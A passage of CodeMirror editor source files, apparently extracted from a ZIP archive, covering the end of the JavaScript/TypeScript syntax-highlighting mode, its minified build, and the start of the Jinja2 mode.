"keyword"; return cont(expression, forspec2) }
    return pass(expression, forspec2)
  }
  function functiondef(type, value) {
    if (value == "*") {cx.marked = "keyword"; return
cont(functiondef);}
    if (type == "variable") {register(value); return
cont(functiondef);}
    if (type == "(") return cont(pushcontext,
pushlex(")"), commasep(funarg, ")"), poplex,
mayberettype, statement, popcontext);
    if (isTS && value == "<") return
cont(pushlex(">"), commasep(typeparam, ">"),
poplex, functiondef)
  }
  function functiondecl(type, value) {
    if (value == "*") {cx.marked = "keyword"; return
cont(functiondecl);}
    if (type == "variable") {register(value); return
cont(functiondecl);}
    if (type == "(") return cont(pushcontext,
pushlex(")"), commasep(funarg, ")"), poplex,
mayberettype, popcontext);
    if (isTS && value == "<") return
cont(pushlex(">"), commasep(typeparam, ">"),
poplex, functiondecl)
  }
  function typename(type, value) {
    if (type == "keyword" || type == "variable") {
      cx.marked = "type"
      return cont(typename)
    } else if (value == "<") {
      return cont(pushlex(">"), commasep(typeparam,
">"), poplex)
    }
  }
  function funarg(type, value) {
    if (value == "@") cont(expression, funarg)
    if (type == "spread") return cont(funarg);
    if (isTS && isModifier(value)) { cx.marked =
"keyword"; return cont(funarg); }
    if (isTS && type == "this") return cont(maybetype,
maybeAssign)
    return pass(pattern, maybetype, maybeAssign);
  }
  function classExpression(type, value) {
    // Class expressions may have an optional name.
    if (type == "variable") return className(type, value);
    return classNameAfter(type, value);
  }
  function className(type, value) {
    if (type == "variable") {register(value); return
cont(classNameAfter);}
  }
  function classNameAfter(type, value) {
    if (value == "<") return cont(pushlex(">"),
commasep(typeparam, ">"), poplex, classNameAfter)
    if (value == "extends" || value == "implements" ||
(isTS && type == ",")) {
      if (value == "implements") cx.marked = "keyword";
      return cont(isTS ? typeexpr : expression, classNameAfter);
    }
    if (type == "{") return cont(pushlex("}"),
classBody, poplex);
  }
  function classBody(type, value) {
    if (type == "async" ||
        (type == "variable" &&
         (value == "static" || value == "get" || value
== "set" || (isTS && isModifier(value))) &&
         cx.stream.match(/^\s+[\w$\xa1-\uffff]/, false))) {
      cx.marked = "keyword";
      return cont(classBody);
    }
    if (type == "variable" || cx.style == "keyword") {
      cx.marked = "property";
      return cont(classfield, classBody);
    }
    if (type == "number" || type == "string") return
cont(classfield, classBody);
    if (type == "[")
      return cont(expression, maybetype, expect("]"), classfield,
classBody)
    if (value == "*") {
      cx.marked = "keyword";
      return cont(classBody);
    }
    if (isTS && type == "(") return pass(functiondecl,
classBody)
    if (type == ";" || type == ",") return
cont(classBody);
    if (type == "}") return cont();
    if (value == "@") return cont(expression, classBody)
  }
  function classfield(type, value) {
    if (value == "?") return cont(classfield)
    if (type == ":") return cont(typeexpr, maybeAssign)
    if (value == "=") return cont(expressionNoComma)
    var context = cx.state.lexical.prev, isInterface = context &&
context.info == "interface"
    return pass(isInterface ? functiondecl : functiondef)
  }
  function afterExport(type, value) {
    if (value == "*") { cx.marked = "keyword"; return
cont(maybeFrom, expect(";")); }
    if (value == "default") { cx.marked = "keyword";
return cont(expression, expect(";")); }
    if (type == "{") return cont(commasep(exportField,
"}"), maybeFrom, expect(";"));
    return pass(statement);
  }
  function exportField(type, value) {
    if (value == "as") { cx.marked = "keyword"; return
cont(expect("variable")); }
    if (type == "variable") return pass(expressionNoComma,
exportField);
  }
  function afterImport(type) {
    if (type == "string") return cont();
    if (type == "(") return pass(expression);
    return pass(importSpec, maybeMoreImports, maybeFrom);
  }
  function importSpec(type, value) {
    if (type == "{") return contCommasep(importSpec,
"}");
    if (type == "variable") register(value);
    if (value == "*") cx.marked = "keyword";
    return cont(maybeAs);
  }
  function maybeMoreImports(type) {
    if (type == ",") return cont(importSpec, maybeMoreImports)
  }
  function maybeAs(_type, value) {
    if (value == "as") { cx.marked = "keyword"; return
cont(importSpec); }
  }
  function maybeFrom(_type, value) {
    if (value == "from") { cx.marked = "keyword";
return cont(expression); }
  }
  function arrayLiteral(type) {
    if (type == "]") return cont();
    return pass(commasep(expressionNoComma, "]"));
  }
  function enumdef() {
    return pass(pushlex("form"), pattern, expect("{"),
pushlex("}"), commasep(enummember, "}"), poplex,
poplex)
  }
  function enummember() {
    return pass(pattern, maybeAssign);
  }

  function isContinuedStatement(state, textAfter) {
    return state.lastType == "operator" || state.lastType ==
"," ||
      isOperatorChar.test(textAfter.charAt(0)) ||
      /[,.]/.test(textAfter.charAt(0));
  }

  function expressionAllowed(stream, state, backUp) {
    return state.tokenize == tokenBase &&
      /^(?:operator|sof|keyword
[bcd]|case|new|export|default|spread|[\[{}\(,;:]|=>)$/.test(state.lastType)
||
      (state.lastType == "quasi" &&
/\{\s*$/.test(stream.string.slice(0, stream.pos - (backUp || 0))))
  }

  // Interface

  return {
    startState: function(basecolumn) {
      var state = {
        tokenize: tokenBase,
        lastType: "sof",
        cc: [],
        lexical: new JSLexical((basecolumn || 0) - indentUnit, 0,
"block", false),
        localVars: parserConfig.localVars,
        context: parserConfig.localVars && new Context(null, null,
false),
        indented: basecolumn || 0
      };
      if (parserConfig.globalVars && typeof parserConfig.globalVars
== "object")
        state.globalVars = parserConfig.globalVars;
      return state;
    },

    token: function(stream, state) {
      if (stream.sol()) {
        if (!state.lexical.hasOwnProperty("align"))
          state.lexical.align = false;
        state.indented = stream.indentation();
        findFatArrow(stream, state);
      }
      if (state.tokenize != tokenComment && stream.eatSpace())
return null;
      var style = state.tokenize(stream, state);
      if (type == "comment") return style;
      state.lastType = type == "operator" && (content ==
"++" || content == "--") ? "incdec" : type;
      return parseJS(state, style, type, content, stream);
    },

    indent: function(state, textAfter) {
      if (state.tokenize == tokenComment) return CodeMirror.Pass;
      if (state.tokenize != tokenBase) return 0;
      var firstChar = textAfter && textAfter.charAt(0), lexical =
state.lexical, top
      // Kludge to prevent 'maybelse' from blocking lexical scope
pops
      if (!/^\s*else\b/.test(textAfter)) for (var i = state.cc.length - 1;
i >= 0; --i) {
        var c = state.cc[i];
        if (c == poplex) lexical = lexical.prev;
        else if (c != maybeelse) break;
      }
      while ((lexical.type == "stat" || lexical.type ==
"form") &&
             (firstChar == "}" || ((top =
state.cc[state.cc.length - 1]) &&
                                   (top == maybeoperatorComma || top ==
maybeoperatorNoComma) &&
                                   !/^[,\.=+\-*:?[\(]/.test(textAfter))))
        lexical = lexical.prev;
      if (statementIndent && lexical.type == ")"
&& lexical.prev.type == "stat")
        lexical = lexical.prev;
      var type = lexical.type, closing = firstChar == type;

      if (type == "vardef") return lexical.indented +
(state.lastType == "operator" || state.lastType == ","
? lexical.info.length + 1 : 0);
      else if (type == "form" && firstChar ==
"{") return lexical.indented;
      else if (type == "form") return lexical.indented +
indentUnit;
      else if (type == "stat")
        return lexical.indented + (isContinuedStatement(state, textAfter) ?
statementIndent || indentUnit : 0);
      else if (lexical.info == "switch" && !closing
&& parserConfig.doubleIndentSwitch != false)
        return lexical.indented + (/^(?:case|default)\b/.test(textAfter) ?
indentUnit : 2 * indentUnit);
      else if (lexical.align) return lexical.column + (closing ? 0 : 1);
      else return lexical.indented + (closing ? 0 : indentUnit);
    },

    electricInput: /^\s*(?:case .*?:|default:|\{|\})$/,
    blockCommentStart: jsonMode ? null : "/*",
    blockCommentEnd: jsonMode ? null : "*/",
    blockCommentContinue: jsonMode ? null : " * ",
    lineComment: jsonMode ? null : "//",
    fold: "brace",
    closeBrackets: "()[]{}''\"\"``",

    helperType: jsonMode ? "json" : "javascript",
    jsonldMode: jsonldMode,
    jsonMode: jsonMode,

    expressionAllowed: expressionAllowed,

    skipExpression: function(state) {
      var top = state.cc[state.cc.length - 1]
      if (top == expression || top == expressionNoComma) state.cc.pop()
    }
  };
});

CodeMirror.registerHelper("wordChars", "javascript",
/[\w$]/);

CodeMirror.defineMIME("text/javascript", "javascript");
CodeMirror.defineMIME("text/ecmascript", "javascript");
CodeMirror.defineMIME("application/javascript",
"javascript");
CodeMirror.defineMIME("application/x-javascript",
"javascript");
CodeMirror.defineMIME("application/ecmascript",
"javascript");
CodeMirror.defineMIME("application/json", {name:
"javascript", json: true});
CodeMirror.defineMIME("application/x-json", {name:
"javascript", json: true});
CodeMirror.defineMIME("application/ld+json", {name:
"javascript", jsonld: true});
CodeMirror.defineMIME("text/typescript", { name:
"javascript", typescript: true });
CodeMirror.defineMIME("application/typescript", { name:
"javascript", typescript: true });

});
PKH��[�2�qDCDC,codemirror/mode/javascript/javascript.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("javascript",(function(b,c){function
d(a){for(var
b,c=!1,d=!1;null!=(b=a.next());){if(!c){if("/"==b&&!d)return;"["==b?d=!0:d&&"]"==b&&(d=!1)}c=!c&&"\\"==b}}function
e(a,b,c){return Oa=a,Pa=c,b}function f(a,b){var
c=a.next();if('"'==c||"'"==c)return
b.tokenize=g(c),b.tokenize(a,b);if("."==c&&a.match(/^\d[\d_]*(?:[eE][+\-]?[\d_]+)?/))return
e("number","number");if("."==c&&a.match(".."))return
e("spread","meta");if(/[\[\]{}\(\),;\:\.]/.test(c))return
e(c);if("="==c&&a.eat(">"))return
e("=>","operator");if("0"==c&&a.match(/^(?:x[\dA-Fa-f_]+|o[0-7_]+|b[01_]+)n?/))return
e("number","number");if(/\d/.test(c))return
a.match(/^[\d_]*(?:n|(?:\.[\d_]*)?(?:[eE][+\-]?[\d_]+)?)?/),e("number","number");if("/"==c)return
a.eat("*")?(b.tokenize=h,h(a,b)):a.eat("/")?(a.skipToEnd(),e("comment","comment")):Na(a,b,1)?(d(a),a.match(/^\b(([gimyus])(?![gimyus]*\2))+\b/),e("regexp","string-2")):(a.eat("="),e("operator","operator",a.current()));if("`"==c)return
b.tokenize=i,i(a,b);if("#"==c&&"!"==a.peek())return
a.skipToEnd(),e("meta","meta");if("#"==c&&a.eatWhile(Va))return
e("variable","property");if("<"==c&&a.match("!--")||"-"==c&&a.match("->")&&!/\S/.test(a.string.slice(0,a.start)))return
a.skipToEnd(),e("comment","comment");if(Xa.test(c))return">"==c&&b.lexical&&">"==b.lexical.type||(a.eat("=")?"!"!=c&&"="!=c||a.eat("="):/[<>*+\-]/.test(c)&&(a.eat(c),">"==c&&a.eat(c))),"?"==c&&a.eat(".")?e("."):e("operator","operator",a.current());if(Va.test(c)){a.eatWhile(Va);var
f=a.current();if("."!=b.lastType){if(Wa.propertyIsEnumerable(f)){var
j=Wa[f];return
e(j.type,j.style,f)}if("async"==f&&a.match(/^(\s|\/\*.*?\*\/)*[\[\(\w]/,!1))return
e("async","keyword",f)}return
e("variable","variable",f)}}function g(a){return
function(b,c){var
d,g=!1;if(Sa&&"@"==b.peek()&&b.match(Ya))return
c.tokenize=f,e("jsonld-keyword","meta");for(;null!=(d=b.next())&&(d!=a||g);)g=!g&&"\\"==d;return
g||(c.tokenize=f),e("string","string")}}function
h(a,b){for(var
c,d=!1;c=a.next();){if("/"==c&&d){b.tokenize=f;break}d="*"==c}return
e("comment","comment")}function i(a,b){for(var
c,d=!1;null!=(c=a.next());){if(!d&&("`"==c||"$"==c&&a.eat("{"))){b.tokenize=f;break}d=!d&&"\\"==c}return
e("quasi","string-2",a.current())}function
j(a,b){b.fatArrowAt&&(b.fatArrowAt=null);var
c=a.string.indexOf("=>",a.start);if(!(c<0)){if(Ua){var
d=/:\s*(?:\w+(?:<[^>]*>|\[\])?|\{[^}]*\})\s*$/.exec(a.string.slice(a.start,c));d&&(c=d.index)}for(var
e=0,f=!1,g=c-1;g>=0;--g){var
h=a.string.charAt(g),i=Za.indexOf(h);if(i>=0&&i<3){if(!e){++g;break}if(0==--e){"("==h&&(f=!0);break}}else
if(i>=3&&i<6)++e;else if(Va.test(h))f=!0;else
if(/["'\/`]/.test(h))for(;;--g){if(0==g)return;var
j=a.string.charAt(g-1);if(j==h&&"\\"!=a.string.charAt(g-2)){g--;break}}else
if(f&&!e){++g;break}}f&&!e&&(b.fatArrowAt=g)}}function
k(a,b,c,d,e,f){this.indented=a,this.column=b,this.type=c,this.prev=e,this.info=f,null!=d&&(this.align=d)}function
l(a,b){for(var c=a.localVars;c;c=c.next)if(c.name==b)return!0;for(var
d=a.context;d;d=d.prev)for(var
c=d.vars;c;c=c.next)if(c.name==b)return!0}function m(a,b,c,d,e){var
f=a.cc;for(_a.state=a,_a.stream=e,_a.marked=null,_a.cc=f,_a.style=b,a.lexical.hasOwnProperty("align")||(a.lexical.align=!0);;){if((f.length?f.pop():Ta?D:B)(c,d)){for(;f.length&&f[f.length-1].lex;)f.pop()();return
_a.marked?_a.marked:"variable"==c&&l(a,d)?"variable-2":b}}}function
n(){for(var
a=arguments.length-1;a>=0;a--)_a.cc.push(arguments[a])}function
o(){return n.apply(null,arguments),!0}function p(a,b){for(var
c=b;c;c=c.next)if(c.name==a)return!0;return!1}function q(a){var
b=_a.state;if(_a.marked="def",b.context)if("var"==b.lexical.info&&b.context&&b.context.block){var
d=r(a,b.context);if(null!=d)return void(b.context=d)}else
if(!p(a,b.localVars))return void(b.localVars=new
u(a,b.localVars));c.globalVars&&!p(a,b.globalVars)&&(b.globalVars=new
u(a,b.globalVars))}function r(a,b){if(b){if(b.block){var
c=r(a,b.prev);return c?c==b.prev?b:new t(c,b.vars,!0):null}return
p(a,b.vars)?b:new t(b.prev,new u(a,b.vars),!1)}return null}function
s(a){return"public"==a||"private"==a||"protected"==a||"abstract"==a||"readonly"==a}function
t(a,b,c){this.prev=a,this.vars=b,this.block=c}function
u(a,b){this.name=a,this.next=b}function v(){_a.state.context=new
t(_a.state.context,_a.state.localVars,!1),_a.state.localVars=ab}function
w(){_a.state.context=new
t(_a.state.context,_a.state.localVars,!0),_a.state.localVars=null}function
x(){_a.state.localVars=_a.state.context.vars,_a.state.context=_a.state.context.prev}function
y(a,b){var c=function(){var
c=_a.state,d=c.indented;if("stat"==c.lexical.type)d=c.lexical.indented;else
for(var
e=c.lexical;e&&")"==e.type&&e.align;e=e.prev)d=e.indented;c.lexical=new
k(d,_a.stream.column(),a,null,c.lexical,b)};return c.lex=!0,c}function
z(){var
a=_a.state;a.lexical.prev&&(")"==a.lexical.type&&(a.indented=a.lexical.indented),a.lexical=a.lexical.prev)}function
A(a){function b(c){return
c==a?o():";"==a||"}"==c||")"==c||"]"==c?n():o(b)}return
b}function
B(a,b){return"var"==a?o(y("vardef",b),ja,A(";"),z):"keyword
a"==a?o(y("form"),F,B,z):"keyword
b"==a?o(y("form"),B,z):"keyword
d"==a?_a.stream.match(/^\s*$/,!1)?o():o(y("stat"),H,A(";"),z):"debugger"==a?o(A(";")):"{"==a?o(y("}"),w,Y,z,x):";"==a?o():"if"==a?("else"==_a.state.lexical.info&&_a.state.cc[_a.state.cc.length-1]==z&&_a.state.cc.pop()(),o(y("form"),F,B,z,pa)):"function"==a?o(ta):"for"==a?o(y("form"),qa,B,z):"class"==a||Ua&&"interface"==b?(_a.marked="keyword",o(y("form","class"==a?a:b),ya,z)):"variable"==a?Ua&&"declare"==b?(_a.marked="keyword",o(B)):Ua&&("module"==b||"enum"==b||"type"==b)&&_a.stream.match(/^\s*\w/,!1)?(_a.marked="keyword","enum"==b?o(Ka):"type"==b?o(va,A("operator"),ba,A(";")):o(y("form"),ka,A("{"),y("}"),Y,z,z)):Ua&&"namespace"==b?(_a.marked="keyword",o(y("form"),D,B,z)):Ua&&"abstract"==b?(_a.marked="keyword",o(B)):o(y("stat"),R):"switch"==a?o(y("form"),F,A("{"),y("}","switch"),w,Y,z,z,x):"case"==a?o(D,A(":")):"default"==a?o(A(":")):"catch"==a?o(y("form"),v,C,B,z,x):"export"==a?o(y("stat"),Ca,z):"import"==a?o(y("stat"),Ea,z):"async"==a?o(B):"@"==b?o(D,B):n(y("stat"),D,A(";"),z)}function
C(a){if("("==a)return o(wa,A(")"))}function
D(a,b){return G(a,b,!1)}function E(a,b){return G(a,b,!0)}function
F(a){return"("!=a?n():o(y(")"),H,A(")"),z)}function
G(a,b,c){if(_a.state.fatArrowAt==_a.stream.start){var
d=c?N:M;if("("==a)return
o(v,y(")"),W(wa,")"),z,A("=>"),d,x);if("variable"==a)return
n(v,ka,A("=>"),d,x)}var e=c?J:I;return
$a.hasOwnProperty(a)?o(e):"function"==a?o(ta,e):"class"==a||Ua&&"interface"==b?(_a.marked="keyword",o(y("form"),xa,z)):"keyword
c"==a||"async"==a?o(c?E:D):"("==a?o(y(")"),H,A(")"),z,e):"operator"==a||"spread"==a?o(c?E:D):"["==a?o(y("]"),Ja,z,e):"{"==a?X(T,"}",null,e):"quasi"==a?n(K,e):"new"==a?o(O(c)):"import"==a?o(D):o()}function
H(a){return a.match(/[;\}\)\],]/)?n():n(D)}function
I(a,b){return","==a?o(H):J(a,b,!1)}function J(a,b,c){var
d=0==c?I:J,e=0==c?D:E;return"=>"==a?o(v,c?N:M,x):"operator"==a?/\+\+|--/.test(b)||Ua&&"!"==b?o(d):Ua&&"<"==b&&_a.stream.match(/^([^<>]|<[^<>]*>)*>\s*\(/,!1)?o(y(">"),W(ba,">"),z,d):"?"==b?o(D,A(":"),e):o(e):"quasi"==a?n(K,d):";"!=a?"("==a?X(E,")","call",d):"."==a?o(S,d):"["==a?o(y("]"),H,A("]"),z,d):Ua&&"as"==b?(_a.marked="keyword",o(ba,d)):"regexp"==a?(_a.state.lastType=_a.marked="operator",_a.stream.backUp(_a.stream.pos-_a.stream.start-1),o(e)):void
0:void 0}function
K(a,b){return"quasi"!=a?n():"${"!=b.slice(b.length-2)?o(K):o(D,L)}function
L(a){if("}"==a)return
_a.marked="string-2",_a.state.tokenize=i,o(K)}function
M(a){return j(_a.stream,_a.state),n("{"==a?B:D)}function
N(a){return j(_a.stream,_a.state),n("{"==a?B:E)}function
O(a){return
function(b){return"."==b?o(a?Q:P):"variable"==b&&Ua?o(ga,a?J:I):n(a?E:D)}}function
P(a,b){if("target"==b)return
_a.marked="keyword",o(I)}function
Q(a,b){if("target"==b)return
_a.marked="keyword",o(J)}function
R(a){return":"==a?o(z,B):n(I,A(";"),z)}function
S(a){if("variable"==a)return
_a.marked="property",o()}function
T(a,b){if("async"==a)return
_a.marked="property",o(T);if("variable"==a||"keyword"==_a.style){if(_a.marked="property","get"==b||"set"==b)return
o(U);var c;return
Ua&&_a.state.fatArrowAt==_a.stream.start&&(c=_a.stream.match(/^\s*:\s*/,!1))&&(_a.state.fatArrowAt=_a.stream.pos+c[0].length),o(V)}return"number"==a||"string"==a?(_a.marked=Sa?"property":_a.style+"
property",o(V)):"jsonld-keyword"==a?o(V):Ua&&s(b)?(_a.marked="keyword",o(T)):"["==a?o(D,Z,A("]"),V):"spread"==a?o(E,V):"*"==b?(_a.marked="keyword",o(T)):":"==a?n(V):void
0}function
U(a){return"variable"!=a?n(V):(_a.marked="property",o(ta))}function
V(a){return":"==a?o(E):"("==a?n(ta):void 0}function
W(a,b,c){function d(e,f){if(c?c.indexOf(e)>-1:","==e){var
g=_a.state.lexical;return"call"==g.info&&(g.pos=(g.pos||0)+1),o((function(c,d){return
c==b||d==b?n():n(a)}),d)}return
e==b||f==b?o():c&&c.indexOf(";")>-1?n(a):o(A(b))}return
function(c,e){return c==b||e==b?o():n(a,d)}}function X(a,b,c){for(var
d=3;d<arguments.length;d++)_a.cc.push(arguments[d]);return
o(y(b,c),W(a,b),z)}function Y(a){return"}"==a?o():n(B,Y)}function
Z(a,b){if(Ua){if(":"==a)return o(ba);if("?"==b)return
o(Z)}}function
$(a,b){if(Ua&&(":"==a||"in"==b))return
o(ba)}function _(a){if(Ua&&":"==a)return
_a.stream.match(/^\s*\w+\s+is\b/,!1)?o(D,aa,ba):o(ba)}function
aa(a,b){if("is"==b)return
_a.marked="keyword",o()}function
ba(a,b){return"keyof"==b||"typeof"==b||"infer"==b?(_a.marked="keyword",o("typeof"==b?E:ba)):"variable"==a||"void"==b?(_a.marked="type",o(fa)):"|"==b||"&"==b?o(ba):"string"==a||"number"==a||"atom"==a?o(fa):"["==a?o(y("]"),W(ba,"]",","),z,fa):"{"==a?o(y("}"),W(da,"}",",;"),z,fa):"("==a?o(W(ea,")"),ca,fa):"<"==a?o(W(ba,">"),ba):void
0}function ca(a){if("=>"==a)return o(ba)}function
da(a,b){return"variable"==a||"keyword"==_a.style?(_a.marked="property",o(da)):"?"==b||"number"==a||"string"==a?o(da):":"==a?o(ba):"["==a?o(A("variable"),$,A("]"),da):"("==a?n(ua,da):void
0}function
ea(a,b){return"variable"==a&&_a.stream.match(/^\s*[?:]/,!1)||"?"==b?o(ea):":"==a?o(ba):"spread"==a?o(ea):n(ba)}function
fa(a,b){return"<"==b?o(y(">"),W(ba,">"),z,fa):"|"==b||"."==a||"&"==b?o(ba):"["==a?o(ba,A("]"),fa):"extends"==b||"implements"==b?(_a.marked="keyword",o(ba)):"?"==b?o(ba,A(":"),ba):void
0}function ga(a,b){if("<"==b)return
o(y(">"),W(ba,">"),z,fa)}function ha(){return
n(ba,ia)}function ia(a,b){if("="==b)return o(ba)}function
ja(a,b){return"enum"==b?(_a.marked="keyword",o(Ka)):n(ka,Z,na,oa)}function
ka(a,b){return
Ua&&s(b)?(_a.marked="keyword",o(ka)):"variable"==a?(q(b),o()):"spread"==a?o(ka):"["==a?X(ma,"]"):"{"==a?X(la,"}"):void
0}function
la(a,b){return"variable"!=a||_a.stream.match(/^\s*:/,!1)?("variable"==a&&(_a.marked="property"),"spread"==a?o(ka):"}"==a?n():"["==a?o(D,A("]"),A(":"),la):o(A(":"),ka,na)):(q(b),o(na))}function
ma(){return n(ka,na)}function na(a,b){if("="==b)return
o(E)}function oa(a){if(","==a)return o(ja)}function
pa(a,b){if("keyword b"==a&&"else"==b)return
o(y("form","else"),B,z)}function
qa(a,b){return"await"==b?o(qa):"("==a?o(y(")"),ra,z):void
0}function
ra(a){return"var"==a?o(ja,sa):"variable"==a?o(sa):n(sa)}function
sa(a,b){return")"==a?o():";"==a?o(sa):"in"==b||"of"==b?(_a.marked="keyword",o(D,sa)):n(D,sa)}function
ta(a,b){return"*"==b?(_a.marked="keyword",o(ta)):"variable"==a?(q(b),o(ta)):"("==a?o(v,y(")"),W(wa,")"),z,_,B,x):Ua&&"<"==b?o(y(">"),W(ha,">"),z,ta):void
0}function
ua(a,b){return"*"==b?(_a.marked="keyword",o(ua)):"variable"==a?(q(b),o(ua)):"("==a?o(v,y(")"),W(wa,")"),z,_,x):Ua&&"<"==b?o(y(">"),W(ha,">"),z,ua):void
0}function
va(a,b){return"keyword"==a||"variable"==a?(_a.marked="type",o(va)):"<"==b?o(y(">"),W(ha,">"),z):void
0}function
wa(a,b){return"@"==b&&o(D,wa),"spread"==a?o(wa):Ua&&s(b)?(_a.marked="keyword",o(wa)):Ua&&"this"==a?o(Z,na):n(ka,Z,na)}function
xa(a,b){return"variable"==a?ya(a,b):za(a,b)}function
ya(a,b){if("variable"==a)return q(b),o(za)}function
za(a,b){return"<"==b?o(y(">"),W(ha,">"),z,za):"extends"==b||"implements"==b||Ua&&","==a?("implements"==b&&(_a.marked="keyword"),o(Ua?ba:D,za)):"{"==a?o(y("}"),Aa,z):void
0}function
Aa(a,b){return"async"==a||"variable"==a&&("static"==b||"get"==b||"set"==b||Ua&&s(b))&&_a.stream.match(/^\s+[\w$\xa1-\uffff]/,!1)?(_a.marked="keyword",o(Aa)):"variable"==a||"keyword"==_a.style?(_a.marked="property",o(Ba,Aa)):"number"==a||"string"==a?o(Ba,Aa):"["==a?o(D,Z,A("]"),Ba,Aa):"*"==b?(_a.marked="keyword",o(Aa)):Ua&&"("==a?n(ua,Aa):";"==a||","==a?o(Aa):"}"==a?o():"@"==b?o(D,Aa):void
0}function Ba(a,b){if("?"==b)return
o(Ba);if(":"==a)return o(ba,na);if("="==b)return
o(E);var c=_a.state.lexical.prev;return
n(c&&"interface"==c.info?ua:ta)}function
Ca(a,b){return"*"==b?(_a.marked="keyword",o(Ia,A(";"))):"default"==b?(_a.marked="keyword",o(D,A(";"))):"{"==a?o(W(Da,"}"),Ia,A(";")):n(B)}function
Da(a,b){return"as"==b?(_a.marked="keyword",o(A("variable"))):"variable"==a?n(E,Da):void
0}function
Ea(a){return"string"==a?o():"("==a?n(D):n(Fa,Ga,Ia)}function
Fa(a,b){return"{"==a?X(Fa,"}"):("variable"==a&&q(b),"*"==b&&(_a.marked="keyword"),o(Ha))}function
Ga(a){if(","==a)return o(Fa,Ga)}function
Ha(a,b){if("as"==b)return
_a.marked="keyword",o(Fa)}function
Ia(a,b){if("from"==b)return
_a.marked="keyword",o(D)}function
Ja(a){return"]"==a?o():n(W(E,"]"))}function Ka(){return
n(y("form"),ka,A("{"),y("}"),W(La,"}"),z,z)}function
La(){return n(ka,na)}function
Ma(a,b){return"operator"==a.lastType||","==a.lastType||Xa.test(b.charAt(0))||/[,.]/.test(b.charAt(0))}function
Na(a,b,c){return b.tokenize==f&&/^(?:operator|sof|keyword
[bcd]|case|new|export|default|spread|[\[{}\(,;:]|=>)$/.test(b.lastType)||"quasi"==b.lastType&&/\{\s*$/.test(a.string.slice(0,a.pos-(c||0)))}var
Oa,Pa,Qa=b.indentUnit,Ra=c.statementIndent,Sa=c.jsonld,Ta=c.json||Sa,Ua=c.typescript,Va=c.wordCharacters||/[\w$\xa1-\uffff]/,Wa=(function(){function
a(a){return{type:a,style:"keyword"}}var b=a("keyword
a"),c=a("keyword b"),d=a("keyword
c"),e=a("keyword
d"),f=a("operator"),g={type:"atom",style:"atom"};return{if:a("if"),while:b,with:b,else:c,do:c,try:c,finally:c,return:e,break:e,continue:e,new:a("new"),delete:d,void:d,throw:d,debugger:a("debugger"),var:a("var"),const:a("var"),let:a("var"),function:a("function"),catch:a("catch"),for:a("for"),switch:a("switch"),case:a("case"),default:a("default"),in:f,typeof:f,instanceof:f,true:g,false:g,null:g,undefined:g,NaN:g,Infinity:g,this:a("this"),class:a("class"),super:a("atom"),yield:d,export:a("export"),import:a("import"),extends:d,await:d}})(),Xa=/[+\-*&%=<>!?|~^@]/,Ya=/^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)"/,Za="([{}])",$a={atom:!0,number:!0,variable:!0,string:!0,regexp:!0,this:!0,"jsonld-keyword":!0},_a={state:null,column:null,marked:null,cc:null},ab=new
u("this",new u("arguments",null));return
x.lex=!0,z.lex=!0,{startState:function(a){var
b={tokenize:f,lastType:"sof",cc:[],lexical:new
k((a||0)-Qa,0,"block",!1),localVars:c.localVars,context:c.localVars&&new
t(null,null,!1),indented:a||0};return
c.globalVars&&"object"==typeof
c.globalVars&&(b.globalVars=c.globalVars),b},token:function(a,b){if(a.sol()&&(b.lexical.hasOwnProperty("align")||(b.lexical.align=!1),b.indented=a.indentation(),j(a,b)),b.tokenize!=h&&a.eatSpace())return
null;var
c=b.tokenize(a,b);return"comment"==Oa?c:(b.lastType="operator"!=Oa||"++"!=Pa&&"--"!=Pa?Oa:"incdec",m(b,c,Oa,Pa,a))},indent:function(b,d){if(b.tokenize==h)return
a.Pass;if(b.tokenize!=f)return 0;var
e,g=d&&d.charAt(0),i=b.lexical;if(!/^\s*else\b/.test(d))for(var
j=b.cc.length-1;j>=0;--j){var k=b.cc[j];if(k==z)i=i.prev;else
if(k!=pa)break}for(;("stat"==i.type||"form"==i.type)&&("}"==g||(e=b.cc[b.cc.length-1])&&(e==I||e==J)&&!/^[,\.=+\-*:?[\(]/.test(d));)i=i.prev;Ra&&")"==i.type&&"stat"==i.prev.type&&(i=i.prev);var
l=i.type,m=g==l;return"vardef"==l?i.indented+("operator"==b.lastType||","==b.lastType?i.info.length+1:0):"form"==l&&"{"==g?i.indented:"form"==l?i.indented+Qa:"stat"==l?i.indented+(Ma(b,d)?Ra||Qa:0):"switch"!=i.info||m||0==c.doubleIndentSwitch?i.align?i.column+(m?0:1):i.indented+(m?0:Qa):i.indented+(/^(?:case|default)\b/.test(d)?Qa:2*Qa)},electricInput:/^\s*(?:case
.*?:|default:|\{|\})$/,blockCommentStart:Ta?null:"/*",blockCommentEnd:Ta?null:"*/",blockCommentContinue:Ta?null:"
*
",lineComment:Ta?null:"//",fold:"brace",closeBrackets:"()[]{}''\"\"``",helperType:Ta?"json":"javascript",jsonldMode:Sa,jsonMode:Ta,expressionAllowed:Na,skipExpression:function(a){var
b=a.cc[a.cc.length-1];b!=D&&b!=E||a.cc.pop()}}})),a.registerHelper("wordChars","javascript",/[\w$]/),a.defineMIME("text/javascript","javascript"),a.defineMIME("text/ecmascript","javascript"),a.defineMIME("application/javascript","javascript"),a.defineMIME("application/x-javascript","javascript"),a.defineMIME("application/ecmascript","javascript"),a.defineMIME("application/json",{name:"javascript",json:!0}),a.defineMIME("application/x-json",{name:"javascript",json:!0}),a.defineMIME("application/ld+json",{name:"javascript",jsonld:!0}),a.defineMIME("text/typescript",{name:"javascript",typescript:!0}),a.defineMIME("application/typescript",{name:"javascript",typescript:!0})}));PKH��[�'Ti''
codemirror/mode/jinja2/jinja2.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("jinja2", function() {
    var keywords = ["and", "as", "block",
"endblock", "by", "cycle", "debug",
"else", "elif",
      "extends", "filter", "endfilter",
"firstof", "for",
      "endfor", "if", "endif",
"ifchanged", "endifchanged",
      "ifequal", "endifequal", "ifnotequal",
      "endifnotequal", "in", "include",
"load", "not", "now", "or",
      "parsed", "regroup", "reversed",
"spaceless",
